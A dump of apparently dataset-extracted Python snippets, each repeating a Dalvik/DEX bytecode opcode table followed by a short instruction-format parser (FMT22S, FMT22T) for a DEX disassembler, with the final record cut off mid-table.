160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT22S(buffer, dex_object, pc_point, offset): bb = ord(buffer[1]) >> 4 cccc, = struct.unpack_from("h", buffer, 2) return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % (ord(buffer[1]) & 0xf), "v%d" % ((ord(buffer[1]) >> 4) & 0xf), "%d" % cccc)
null
17,380
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT22T(buffer, dex_object, pc_point, offset): bb = ord(buffer[1]) >> 4 cccc, = struct.unpack_from("h", buffer, 2) return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % (ord(buffer[1]) & 0xf), "v%d" % ((ord(buffer[1]) >> 4) & 0xf), "%04x" % (cccc + offset))
null
17,381
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 